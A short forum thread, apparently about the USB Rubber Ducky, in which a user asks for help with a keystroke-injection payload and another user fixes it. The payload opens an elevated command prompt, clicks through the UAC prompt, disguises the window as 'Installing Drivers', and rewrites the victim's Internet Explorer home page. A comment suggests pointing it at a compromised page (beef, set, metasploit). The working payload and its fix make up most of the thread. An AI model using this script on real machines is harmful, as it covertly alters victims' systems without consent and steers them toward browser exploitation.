[Question][Payload] Some problems (newbie regarding the Ducky)

[crashie]

Hey,

Have some issues with the ducky.. or most probably it's something I do wrong..

When I try to run below script:

REM Description: Change the users home page - simple but effective
REM Author: PrikleyPaw
REM ---- Command Prompt Admin DuckSauce v.02 ----
ESCAPE
CONTROL ESCAPE
STRING cmd /T:01
MENU
STRING a
DELAY 400
ALT Y
DELAY 200
STRING @echo off && mode con:COLS=15 LINES=1 && title Installing Drivers
ENTER
DELAY 250
REM Change www.yahoo.com to what ever you want their home page to be...
REM Good to change to compromised page (beef, set, metasploit).
STRING cmd /c REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d www.yahoo.com /f
STRING exit
ENTER

I get this error message:

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 
C:\Windows\system32>CMD /C reg add "hkey_current_user\sOFTWARE\mICROSOFT\iNTERNET eXPLORER\mAIN" /V "sTART pAGE" /D WWW.YAHOO.COM /FEXIT
ERROR: Invalid syntax.
Type "REG ADD /?" for usage.
 
C:\Windows\system32>

Edited March 7, 2013 by midnitesnake
formatting [code] tags

[no42]

try changing the cmd /c string to

STRING reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d www.yahoo.com /f EXIT

reg might be case sensitive on the /v /d /f; you appear to have CAPS enabled, what happens when you disable CAPS_LOCK?

Edited March 7, 2013 by midnitesnake

[crashie]

Problem solved! And yeah, stupid me having CAPS on :P

But that's how you learn, by making all the mistakes ;)

Thanks!

try changing the cmd /c string to

STRING reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d www.yahoo.com /f EXIT

reg might be case sensitive on the /v /d /f; you appear to have CAPS enabled, what happens when you disable CAPS_LOCK?